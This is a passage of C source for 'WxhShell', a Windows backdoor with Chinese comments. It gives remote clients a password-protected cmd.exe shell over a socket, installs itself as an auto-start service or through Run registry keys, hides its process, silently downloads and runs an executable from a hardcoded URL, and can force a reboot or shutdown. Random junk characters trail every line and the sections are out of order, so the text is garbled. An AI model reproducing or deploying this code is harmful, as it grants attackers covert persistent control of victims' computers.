    if(Boot(SHUTDOWN)) )cy_d!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -]h3s >t  
    else { ;tF7 GjEp  
    closesocket(wsh); fXHN m$"n  
    ExitThread(0); A[6$'IJ  
    } 3%W R  
    break; L>mv\D;o.  
    } pPdOw K#  
  // 获取shell ~\z\f} w  
  case 's': { jci'q=Vpu  
    CmdShell(wsh); JUlV$b.)J  
    closesocket(wsh); 4V`ypFme  
    ExitThread(0); /# M|V6n  
    break; QDC]g.x  
  } >Cjb|f3'i}  
  // 退出 W%=b|6E  
  case 'x': { T?+xx^wYk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3wBc`vJ!  
    CloseIt(wsh); sc! e$@U  
    break; v* nX  
    } E30VKh |  
  // 离开 J !:ss  
  case 'q': { Iz#h:O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (Js'(tBhiU  
    closesocket(wsh); >_y>["u6J#  
    WSACleanup(); 7='M&Za  
    exit(1); U9KnW]O%"  
    break; ,&sBa{0  
        } 9* %Uoy:  
  } ;,y9  
  } zA![c l>$  
@])qw_  
  // 提示信息  0FHX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ba3_5 5]  
} !=.5$/  
  } k.DDfuKN  
uSs~P%@6|  
  return; GJA3  
} ,OLN%2Sq  
S) [`Bm  
// shell模块句柄 H! ZPP8]j>  
int CmdShell(SOCKET sock) or u.a   
{ ESZ6<!S  
STARTUPINFO si; b "4W` A  
ZeroMemory(&si,sizeof(si)); V$wf;v0d(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?.:C+*+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bQ=R,  
PROCESS_INFORMATION ProcessInfo; 1_7}B4  
char cmdline[]="cmd"; R4"g? e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u8*Uia*vwH  
  return 0; :_tsS)Q2m  
} 6|05-x|  
~PUz/^^ s  
// 自身启动模式 \)ac,i@fy  
int StartFromService(void) ,2)LH 'Xx  
{ d;ElqRC&  
typedef struct ,c6ID|\  
{ ;b$(T5  
  DWORD ExitStatus; =@m|g )  
  DWORD PebBaseAddress; DY6wp@A  
  DWORD AffinityMask; ?0+D1w  
  DWORD BasePriority; MOyQ4<_  
  ULONG UniqueProcessId; 4ow)vS(  
  ULONG InheritedFromUniqueProcessId; "qb3\0O  
}   PROCESS_BASIC_INFORMATION; S >uzW #  
-lyT8qZ:(  
PROCNTQSIP NtQueryInformationProcess; QhK]>d.  
R\+p`n$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VuFH >8n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e.i5j^5u  
UR?[ba_h   
  HANDLE             hProcess; TE0hV w0c  
  PROCESS_BASIC_INFORMATION pbi; g!<@6\RB  
.8CR \-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LZyUlz  
  if(NULL == hInst ) return 0; >(u=/pp=:  
0?ZJJdI3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _ 9Tv*@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5-bd1!o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QdG_zK>|e  
9S.Uo[YY  
  if (!NtQueryInformationProcess) return 0; p SASMc@  
8|?$KLz?F>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G7`7e@{  
  if(!hProcess) return 0; \<~[uv'  
Q5iuK#/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -.1x!~.jX  
y&A*/J4P  
  CloseHandle(hProcess); _ EHr?b2  
Y ,B0=}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,'F;s:WM,  
if(hProcess==NULL) return 0; ycRy! 0l  
dV8mI,h  
HMODULE hMod; qr(SAIX"  
char procName[255]; <O>r e3s  
unsigned long cbNeeded; 9>qR6k ?  
wa W2$9O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [a 5L WW  
NZ'S~Lr   
  CloseHandle(hProcess); ~j mHzF kQ  
ld4QhZia  
if(strstr(procName,"services")) return 1; // 以服务启动 I1 j-Q8  
xe|o( !(  
  return 0; // 注册表启动 wCvtw[6  
} y_38;8ex  
"W|Sh#JF  
// 主模块 3IZ^!J  
int StartWxhshell(LPSTR lpCmdLine) 7Rk eV  
{ |~W!Y\l-  
  SOCKET wsl; YrjF1hJ  
BOOL val=TRUE; -d6| D?}S  
  int port=0; qp^O\>c  
  struct sockaddr_in door; xRJv_=dT  
"Q#/J)N  
  if(wscfg.ws_autoins) Install(); 'i{kuTv  
gc7S_D~;  
port=atoi(lpCmdLine); MMD4b}p  
fC2e}WR   
if(port<=0) port=wscfg.ws_port; )wo'i]#2:  
=g2; sM/  
  WSADATA data; uOEy}&fH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IBC P6[  
9n$GeRO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %?y ?rt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); & p"ks8"  
  door.sin_family = AF_INET; N0sf V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4_8%ZaQ\.?  
  door.sin_port = htons(port); a [iC!F2  
 Jt.dR6,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *n N;!*J  
closesocket(wsl); oJUVW"X6  
return 1; "44VvpQC  
} 0ho+Y@8  
+%=Ao6/#  
  if(listen(wsl,2) == INVALID_SOCKET) { hJ>{`Tw  
closesocket(wsl); L=Fm:O'#2  
return 1; # h]m8  
} ea=@r Ng  
  Wxhshell(wsl); /fWVgyW> 6  
  WSACleanup(); k;R*mg*K  
Ti!j  
return 0; QSW62]=vV  
pV(b>O  
} C+cSy'VIK!  
@U_w:Q<9u  
// 以NT服务方式启动 ~C{d2i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xXE/pIXw  
{ 5v=%pQbY  
DWORD   status = 0; v-3In\T=^  
  DWORD   specificError = 0xfffffff; mrX3/e  
Di<KRg1W]}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; * 'WzIk2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; } '.l'%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bBc<yaN  
  serviceStatus.dwWin32ExitCode     = 0; 0R >M_|  
  serviceStatus.dwServiceSpecificExitCode = 0; [iwn"e  
  serviceStatus.dwCheckPoint       = 0; [bIdhG  
  serviceStatus.dwWaitHint       = 0; M])Y|}wv8  
((\s4-   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j08}5Eo  
  if (hServiceStatusHandle==0) return; 0"(5\T  
G)';ucs:,  
status = GetLastError(); <YP>c  
  if (status!=NO_ERROR) scCOiK)  
{ p)N=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FRQ0tIp  
    serviceStatus.dwCheckPoint       = 0; G,e>dp_cPu  
    serviceStatus.dwWaitHint       = 0; }a,j1r_Hl&  
    serviceStatus.dwWin32ExitCode     = status; 5*xk8*  
    serviceStatus.dwServiceSpecificExitCode = specificError; xI55pj*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  H`G[QC  
    return; DF-`nD  
  } b{=2#J-  
8 qt,sU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iv2did4  
  serviceStatus.dwCheckPoint       = 0; x'{L%c>L  
  serviceStatus.dwWaitHint       = 0; )C5<puh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m:59f9WXA  
} :D8V*F6P  
='q:Io?T  
// 处理NT服务事件,比如:启动、停止 2i;G3"\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |G~LJsXW!v  
{ p [4/Nq,c  
switch(fdwControl) BK]bSj  
{ n$g g$<  
case SERVICE_CONTROL_STOP: DnS# cs~  
  serviceStatus.dwWin32ExitCode = 0; F=U3o=-:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,o& &d.  
  serviceStatus.dwCheckPoint   = 0; ^&MMtWR  
  serviceStatus.dwWaitHint     = 0;  $J>GCY  
  { acz8 H 0cS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o;.PZi2k  
  } d>*?C!xE  
  return; ^6bU4bA  
case SERVICE_CONTROL_PAUSE: qvy~b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ci0:-IS  
  break; U+F?b\  
case SERVICE_CONTROL_CONTINUE: dElOy?v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -@X?~4Idz  
  break; XZYpU\K  
case SERVICE_CONTROL_INTERROGATE: H'Bor\;[>  
  break; Ol1[o  
}; U8KB @E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ATp7:Q  
} l69&-Nyg  
ml<X92Y  
// 标准应用程序主函数 ,4zwd@&O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3`S|I_$(T"  
{ ?F1NZA[%t  
oMawIND a  
// 获取操作系统版本 %Sr/'7 K  
OsIsNt=GetOsVer(); f^z~{|%l!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wWv")dk3i  
I&?(=i)N  
  // 从命令行安装 q{5wx8_U  
  if(strpbrk(lpCmdLine,"iI")) Install(); O}I8P")m  
=T;>$&qs  
  // 下载执行文件 D0 Yl?LU3  
if(wscfg.ws_downexe) { ^AkVmsv;;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0)`{]&  
  WinExec(wscfg.ws_filenam,SW_HIDE); "K n JUXpl  
} HgPRz C  
o^hI\9  
if(!OsIsNt) { REUWK#>  
// 如果时win9x,隐藏进程并且设置为注册表启动 wYQTG*&h  
HideProc(); mr dG- t(k  
StartWxhshell(lpCmdLine); +b"RZ:tKp  
} bwR_ uF  
else ZqT?7|i  
  if(StartFromService()) _-eF &D  
  // 以服务方式启动 ,_@C(O  
  StartServiceCtrlDispatcher(DispatchTable); /4J2F9:f  
else >Ig%|4Hw  
  // 普通方式启动 GO{o #}  
  StartWxhshell(lpCmdLine); g+;)?N*j  
2\h}6DGx2  
return 0; .V G$`g"  
} V#["Z}  
\]ouQR.t@\  
z/6/   
{U1 j@pKm  
=========================================== >Y=HP&A<  
~SgW+sDF u  
tgXIj5z  
Bf33%I~  
hfT HP  
~L$B]\/A5  
" _i{$5JJ+K2  
y`O !,kW  
#include <stdio.h> }1E'a>^|  
#include <string.h> qu- !XC0p  
#include <windows.h> l*_%K}%?V  
#include <winsock2.h> y^7;I-  
#include <winsvc.h> t)P5bQ+$u9  
#include <urlmon.h> q$FwO"dC  
bh9rsRb}O  
#pragma comment (lib, "Ws2_32.lib") r \+&{EEG  
#pragma comment (lib, "urlmon.lib") BayO+,>K  
;AMbo`YK[  
#define MAX_USER   100 // 最大客户端连接数 os6p1"_\f  
#define BUF_SOCK   200 // sock buffer "D0:Y(\  
#define KEY_BUFF   255 // 输入 buffer dzJ\+ @4  
CA%p^4Q  
#define REBOOT     0   // 重启 rI34K~ P  
#define SHUTDOWN   1   // 关机 '{=dEEi  
5N "fD{v{  
#define DEF_PORT   5000 // 监听端口 XOgl> 1O  
V^fSrW]  
#define REG_LEN     16   // 注册表键长度 7KIOI,qb6  
#define SVC_LEN     80   // NT服务名长度 L".Qf|b*  
td!WgL,m  
// 从dll定义API V ;Kzh$^rk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6(Za}H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <YX)am'\y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B;xw @:H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <tkxE!xF`J  
AffVah2o:  
// wxhshell配置信息 B;Pws$J  
struct WSCFG { W:D'k^u  
  int ws_port;         // 监听端口 ^9*FYV  
  char ws_passstr[REG_LEN]; // 口令 EWuuNf  
  int ws_autoins;       // 安装标记, 1=yes 0=no xxxM  
  char ws_regname[REG_LEN]; // 注册表键名 0sq?;~U  
  char ws_svcname[REG_LEN]; // 服务名 3Mw\}q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^.bYLF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zwy8 SD'L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KWtLrZ(j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .w5#V|   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vzD3_ ?D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {TT@Mkz_QC  
Kq!E<|yM  
}; vlYDhjZk#  
<SM{yMz  
// default Wxhshell configuration 6J. [9#  
struct WSCFG wscfg={DEF_PORT, AQkH3p/W  
    "xuhuanlingzhe", {!5"Y(>X  
    1, XVwaX2=L  
    "Wxhshell", Fx#0 :p  
    "Wxhshell", )=VSERs  
            "WxhShell Service", K..L8#SC  
    "Wrsky Windows CmdShell Service", )o!y7MTl  
    "Please Input Your Password: ", 0{ M=^96  
  1, ;\(Wz5Ok&J  
  "http://www.wrsky.com/wxhshell.exe", 1(!w xJ  
  "Wxhshell.exe" XE8~R5  
    }; L~e\uP  
2q}M1-^  
// 消息定义模块 _4qP0LCa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =Gsn4>~%n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vqh@)B+)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j" wX7  
char *msg_ws_ext="\n\rExit."; YrAaL"20  
char *msg_ws_end="\n\rQuit."; T' O5> e  
char *msg_ws_boot="\n\rReboot..."; OiPE,sv  
char *msg_ws_poff="\n\rShutdown..."; RqTW$94RD  
char *msg_ws_down="\n\rSave to "; Q*wub9  
"=)i'x"0"  
char *msg_ws_err="\n\rErr!"; W[S4s/)mg  
char *msg_ws_ok="\n\rOK!"; =Ny&`X#F  
zA+&V7bvy  
char ExeFile[MAX_PATH]; 0l#{7^e  
int nUser = 0; Ao%E]M  
HANDLE handles[MAX_USER]; 4^H(p  
int OsIsNt; @ yJ/!9?^  
?D P]#9/4  
SERVICE_STATUS       serviceStatus; BNU]NcA#*,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C6Qnn@waYb  
MGn:Gj"d  
// 函数声明 n 99>oh  
int Install(void); yjCY2T E  
int Uninstall(void); vUa~PN+Iy  
int DownloadFile(char *sURL, SOCKET wsh); `_{'qqRhe  
int Boot(int flag);  _Y@'<S.  
void HideProc(void); mo%9UL,#W  
int GetOsVer(void); p"^^9'`=  
int Wxhshell(SOCKET wsl); W]|;ZzZ=m  
void TalkWithClient(void *cs); 77/&M^0  
int CmdShell(SOCKET sock); ) *:<3g!  
int StartFromService(void); a&YD4DQ05  
int StartWxhshell(LPSTR lpCmdLine); ju8mO&  
=x "N0p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2!QS&i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?_9cFo59:  
| >xUgpQi  
// 数据结构和表定义 [~$Ji&Dd  
SERVICE_TABLE_ENTRY DispatchTable[] = $I(2}u?1+d  
{ #W<D~C[I _  
{wscfg.ws_svcname, NTServiceMain}, ]>h2h?2te  
{NULL, NULL} S9X~<!]  
}; $^R[t;  
x9r5 ;5TI  
// 自我安装 ,6rg00wGE  
int Install(void) kM>0>fkjE  
{ I^ W  
  char svExeFile[MAX_PATH]; @D K,ka(  
  HKEY key; [.tqgU  
  strcpy(svExeFile,ExeFile); @ ?y(\>  
cWIX!tc8  
// 如果是win9x系统,修改注册表设为自启动 kQlXcR  
if(!OsIsNt) { "dwx;E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =]x FHw8A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <rc3&qmd  
  RegCloseKey(key); P\bW kp0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <~# ZtD$G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `+]9+:tS  
  RegCloseKey(key); !?B9 0(  
  return 0; Qz&I~7aoyV  
    } ;;BQuG  
  } +s&+G![  
} w2y{3O"p=  
else { KfJF9!U*?  
m MO:m8W  
// 如果是NT以上系统,安装为系统服务 _QCspPT' c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,vP9oY[n  
if (schSCManager!=0) G`E%uyjG$j  
{ *g&[?y`UC  
  SC_HANDLE schService = CreateService ?bbu^;2*f  
  ( ?b, eZ+t  
  schSCManager, 6 )eO%M`  
  wscfg.ws_svcname, &,Dh*)k  
  wscfg.ws_svcdisp, 30]?Jz6m  
  SERVICE_ALL_ACCESS, @V)k*h3r+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6TS+z7S81L  
  SERVICE_AUTO_START, ew B&PR  
  SERVICE_ERROR_NORMAL, %t M]|!yw  
  svExeFile, #: L|-_=a  
  NULL, Mvoi   
  NULL, Fc>W]1  
  NULL, :av6*&+  
  NULL, c_a*{L|c  
  NULL M5 ep\^  
  ); 5{qFKo"g@,  
  if (schService!=0) W|~Lmdzj  
  { msg&~" Z  
  CloseServiceHandle(schService); &O5%6Sv3d  
  CloseServiceHandle(schSCManager); a #?% I#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]qL#/   
  strcat(svExeFile,wscfg.ws_svcname); cl{x5>.'#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f5zxy!dhKS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H?ssV^k  
  RegCloseKey(key); 4\<[y]pv  
  return 0; `Q6@,-(3  
    } lY!`<_Am  
  } C/%umazP9  
  CloseServiceHandle(schSCManager); nab:y(]$/  
} jy{T=Nb  
} x, a[ p\1  
95^w" [}4Q  
return 1; h";G vjy  
} ("o <D{A  
2S}%r4$n}  
// 自我卸载 P"W$ZX  
int Uninstall(void) ;^xlDN  
{ ftF?T.dx  
  HKEY key; OM{-^  
By6C+)up  
if(!OsIsNt) { NZYtA7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <I'kJ{"  
  RegDeleteValue(key,wscfg.ws_regname); MGX %U6  
  RegCloseKey(key); x_{ua0BLDf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z.oDH<1  
  RegDeleteValue(key,wscfg.ws_regname); ?qYw9XQYL  
  RegCloseKey(key); 1t=Y+|vA9  
  return 0;  (:].?o  
  } bG67TWY)  
} ?I)-ez  
} ~|@aV:k  
else { gt6*x=RCrQ  
|ap{+ xh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uF9p:FvN8  
if (schSCManager!=0) ]oP2T:A  
{ fDp_W1yH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dz &| 3o  
  if (schService!=0) //`heFuc]>  
  { d|]F^DDuI  
  if(DeleteService(schService)!=0) { ukv _bw  
  CloseServiceHandle(schService); ,XCC#F(d1  
  CloseServiceHandle(schSCManager); =PAvPj&}e  
  return 0; 6%C:k,Cx{d  
  } PTIC2  
  CloseServiceHandle(schService); W&}YM b  
  } V=k!&xN~  
  CloseServiceHandle(schSCManager); ui`xgR\6Rh  
} =1)yI>2e%}  
} 3SVI|A5(d  
O\pqZ`E=s  
return 1; kmNY ;b6Y$  
} 3lhXD_Y  
xeo;4c#S5  
// 从指定url下载文件 A2 qus$  
int DownloadFile(char *sURL, SOCKET wsh) 8,=Ti7_  
{ IyIh0B~i  
  HRESULT hr; FIlw  
char seps[]= "/"; `da6}Vqj:  
char *token; <|k!wfHL  
char *file; e<YC=67n)  
char myURL[MAX_PATH]; !Zgb|e8<  
char myFILE[MAX_PATH]; [nn/a?Z4S  
mJ<rzX  
strcpy(myURL,sURL); 6(B0gBCId  
  token=strtok(myURL,seps); KMhoG.$Ra  
  while(token!=NULL) 2V/ A%  
  { ;gy_Qf2U  
    file=token; .}kUD]pW  
  token=strtok(NULL,seps);  kOETx  
  } >#*]/t  
X<K[` =I  
GetCurrentDirectory(MAX_PATH,myFILE); ;5ugnVXu  
strcat(myFILE, "\\"); RPP xiYU^  
strcat(myFILE, file); I/jMe'Kp  
  send(wsh,myFILE,strlen(myFILE),0); WW0N"m'  
send(wsh,"...",3,0); }fZT$'*;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); })g|r9=  
  if(hr==S_OK) s2_j@k?%  
return 0; /#20`;~F)  
else 5|NM]8^^0[  
return 1; l Vo](#W  
]o$Kh$~5  
} 5dT-{c%w4  
LTS3[=AB  
// 系统电源模块 ] $$ciFM  
int Boot(int flag) -WE pBt7*  
{ m@.4Wrv  
  HANDLE hToken; #l2wF>0  
  TOKEN_PRIVILEGES tkp; - 4'yp  
dwv xV$Nt  
  if(OsIsNt) { 6=Kl[U0Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U|g4t=@ZR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :RzcK>Gub=  
    tkp.PrivilegeCount = 1; Ig"Krz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '`T.K<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mV@.JFXKP  
if(flag==REBOOT) { "Vho`x3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y^Oj4Y:  
  return 0; 8^\DQ&D  
} ?'P8H^K6u  
else { xE;4#+_I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D@^ r  
  return 0; {Mp>+e@xx  
} yC =5/wy`  
  } ] ?#f=/  
  else { YUfuS3sX}  
if(flag==REBOOT) { ,(N&%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (03m%\  
  return 0; "^;'.~@e8  
} !ceuljd]  
else { LDBxw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [ 8N1tZ{`  
  return 0; "}*P9-%  
}  ,@R~y  
} m0paGG  
.(VxeF(v_k  
return 1; 0gm+R3;k^  
} 1& YcCN\k  
l@q.4hT  
// win9x进程隐藏模块 <'v?WV_  
void HideProc(void) h\Op|#gIT  
{ F:n(yXA  
&?9p\oY[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SY`NZJK  
  if ( hKernel != NULL ) f5 wn`a~h  
  { hx+a.N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kMo;<Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U;i:k%Bzy  
    FreeLibrary(hKernel); pTOS}A[dh  
  } ?q7V B  
t2BkQ8vr  
return; bICi'`  
} MkC25  
W~.1f1)  
// 获取操作系统版本 WfhQi;r  
int GetOsVer(void) 0 !E* >  
{ E$ q/4  
  OSVERSIONINFO winfo; G<4H~1?P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r|fJ~0z  
  GetVersionEx(&winfo); &w*.S@  ;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6f?5/hq  
  return 1; !a[ voUS  
  else 'dQ2"x?4  
  return 0; |bi"J;y  
} 09_3`K. *  
i:&Y{iPQp  
// 客户端句柄模块 "6Nma)8  
int Wxhshell(SOCKET wsl) g 4=}].  
{ KAjKv_6=g  
  SOCKET wsh; m qPWCFP  
  struct sockaddr_in client; PD|I3qv~  
  DWORD myID; i'L7t!f}o  
$T^O38$  
  while(nUser<MAX_USER) W ;,Uh E  
{ Wgq*|teW  
  int nSize=sizeof(client); qp"gD-,-o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qK:.j  
  if(wsh==INVALID_SOCKET) return 1; +@cf@}W6QC  
X@JDfn?A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fw!5hR`,  
if(handles[nUser]==0) |LcN_ ,}6  
  closesocket(wsh); r@e_cD] M  
else O2:m)@  
  nUser++; #8R\J[9  
  } d}>Nl$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jXGr{n  
lc>nU hj.  
  return 0; X3!btxa% t  
} bRLmJt98P  
lR{eO~'~V  
// 关闭 socket #| A @  
void CloseIt(SOCKET wsh) Y%^&aacZ  
{ =5oFutg`  
closesocket(wsh); }dAb} 0XK.  
nUser--; Zul]ekv  
ExitThread(0); EqUiC*u8{I  
} :QUZ7^u  
Dd!MG'%hlb  
// 客户端请求句柄 H6/@loO!Xy  
void TalkWithClient(void *cs) hNyYk(t^  
{ @xtcjB9  
L G,XhN  
  SOCKET wsh=(SOCKET)cs; =Q.2:*d.  
  char pwd[SVC_LEN]; gEO#-tMjOQ  
  char cmd[KEY_BUFF]; VMad ]bEf  
char chr[1]; )!|K3%9  
int i,j; w/d9S(  
e|):%6#  
  while (nUser < MAX_USER) { 2~2  
@gE +T37x2  
if(wscfg.ws_passstr) { ok-sm~bp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n4>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >`5iq.v  
  //ZeroMemory(pwd,KEY_BUFF); n2Dnpe:  
      i=0; O(~`fN?n  
  while(i<SVC_LEN) { Q'*-gg&)  
}}cVPB7   
  // 设置超时 =(Mv@eA"  
  fd_set FdRead; ~)tMR9=wX  
  struct timeval TimeOut; OrPIvP<w@  
  FD_ZERO(&FdRead); u`gy1t `  
  FD_SET(wsh,&FdRead); mXz-#Go(  
  TimeOut.tv_sec=8; $Fc*^8$ryC  
  TimeOut.tv_usec=0;  42Gr0+Mb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qoB   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O *H:CW  
MZ=U} &F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }UXj|SY  
  pwd=chr[0]; x@v,qF$K  
  if(chr[0]==0xd || chr[0]==0xa) { u 6 la  
  pwd=0; -*e$>w[.N  
  break; &^63*x;hE  
  } e~'y%|D  
  i++; 2i |wQU5w  
    } ]v rpr%K  
3hO` GM  
  // 如果是非法用户,关闭 socket @]H&(bw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a}M7"v9  
} bk2 HAG  
GQ2&D}zh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PLFM[t/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j:) (`  
V,|l&-  
while(1) { m ~fqZK  
y<BiR@%,7  
  ZeroMemory(cmd,KEY_BUFF); A{x &5yX8  
]8+%57:E  
      // 自动支持客户端 telnet标准   /:ma}qG y  
  j=0; NZ{kjAd3c  
  while(j<KEY_BUFF) { L@CN0ezQs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jn]hqTy8  
  cmd[j]=chr[0]; duXv [1  
  if(chr[0]==0xa || chr[0]==0xd) { nP 2rN_:4  
  cmd[j]=0; ef f6=DP  
  break; ^._)HM  
  } ~UK) p;|  
  j++; fR6ot#b  
    } :Q+ rEjw+  
9VV  
  // 下载文件 H$(%FWzQ%  
  if(strstr(cmd,"http://")) { "}7K>|a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (z ;=3S  
  if(DownloadFile(cmd,wsh)) <g>_#fz"K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2?Q IK3"v  
  else # Sb1oLC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v}xz`]MW<,  
  } <~"qz*_  
